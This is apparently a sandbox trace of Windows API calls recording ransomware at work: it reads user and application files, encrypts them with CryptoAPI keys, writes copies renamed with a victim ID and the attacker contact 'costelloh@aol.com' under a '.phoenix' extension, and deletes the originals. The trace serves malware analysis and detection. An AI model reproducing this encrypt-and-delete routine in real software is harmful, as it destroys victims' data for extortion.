	[0253.644] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x40000, lpOverlapped=0x0) returned 1
	[0253.680] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40010, dwBufLen=0x40010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40010) returned 1
	[0253.681] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x40010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x40010, lpOverlapped=0x0) returned 1
	[0253.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0253.685] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.685] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.685] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0253.685] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.685] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0253.685] CloseHandle (hObject=0x2e4) returned 1
	[0253.685] CloseHandle (hObject=0x2e8) returned 1
	[0253.685] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat")) returned 1
	[0253.708] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.708] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=174) returned 1
	[0253.708] CloseHandle (hObject=0x2c0) returned 1
	[0253.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini")) returned 0x26
	[0253.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.709] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.709] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0253.922] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.922] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xae, lpOverlapped=0x0) returned 1
	[0253.923] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0253.923] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0253.924] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0253.924] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.924] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0253.924] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0253.924] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0253.924] CryptDestroyKey (hKey=0x151080) returned 1
	[0253.924] CloseHandle (hObject=0x2c0) returned 1
	[0253.924] CloseHandle (hObject=0x2f0) returned 1
	[0253.924] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini")) returned 1
	[0253.978] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0253.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.981] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=63152) returned 1
	[0253.981] CloseHandle (hObject=0x2d8) returned 1
	[0253.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat")) returned 0x20
	[0253.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.982] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.982] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0253.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0253.995] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0253.995] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf6b0, lpOverlapped=0x0) returned 1
	[0254.072] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf6c0, dwBufLen=0xf6c0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf6c0) returned 1
	[0254.072] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf6c0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf6c0, lpOverlapped=0x0) returned 1
	[0254.073] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0254.073] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.074] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0254.074] CryptDestroyKey (hKey=0x151400) returned 1
	[0254.074] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0254.074] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.074] CloseHandle (hObject=0x2d8) returned 1
	[0254.074] CloseHandle (hObject=0x2c0) returned 1
	[0254.074] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat")) returned 1
	[0254.075] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0254.097] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=63343) returned 1
	[0254.097] CloseHandle (hObject=0x2e4) returned 1
	[0254.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin")) returned 0x20
	[0254.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0254.097] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.097] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0254.098] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0254.098] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.098] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf76f, lpOverlapped=0x0) returned 1
	[0254.115] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf770, dwBufLen=0xf770 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf770) returned 1
	[0254.115] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf770, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf770, lpOverlapped=0x0) returned 1
	[0254.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0254.117] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.117] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.117] CryptDestroyKey (hKey=0x151400) returned 1
	[0254.117] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.117] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.117] CloseHandle (hObject=0x2e4) returned 1
	[0254.117] CloseHandle (hObject=0x2e8) returned 1
	[0254.117] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin")) returned 1
	[0254.151] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.151] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0254.159] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=40) returned 1
	[0254.159] CloseHandle (hObject=0x2c0) returned 1
	[0254.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat")) returned 0x20
	[0254.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0254.159] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.160] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.168] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0254.168] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.168] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x28, lpOverlapped=0x0) returned 1
	[0254.169] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30, dwBufLen=0x30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30) returned 1
	[0254.169] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x30, lpOverlapped=0x0) returned 1
	[0254.170] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0254.170] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.170] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.170] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.170] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0254.171] CryptDestroyKey (hKey=0x151500) returned 1
	[0254.171] CloseHandle (hObject=0x2c0) returned 1
	[0254.171] CloseHandle (hObject=0x2d8) returned 1
	[0254.171] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat")) returned 1
	[0254.238] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000005.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000005.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.240] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0254.240] CloseHandle (hObject=0x2f4) returned 1
	[0254.255] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0254.255] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.258] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=494) returned 1
	[0254.258] CloseHandle (hObject=0x2f4) returned 1
	[0254.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log")) returned 0x20
	[0254.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.258] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0254.258] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.258] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0254.259] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.259] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0254.259] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.259] ReadFile (in: hFile=0x2f4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1ee, lpOverlapped=0x0) returned 1
	[0254.260] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1f0) returned 1
	[0254.260] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1f0, lpOverlapped=0x0) returned 1
	[0254.262] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0254.262] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0254.262] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0254.262] CryptDestroyKey (hKey=0x151500) returned 1
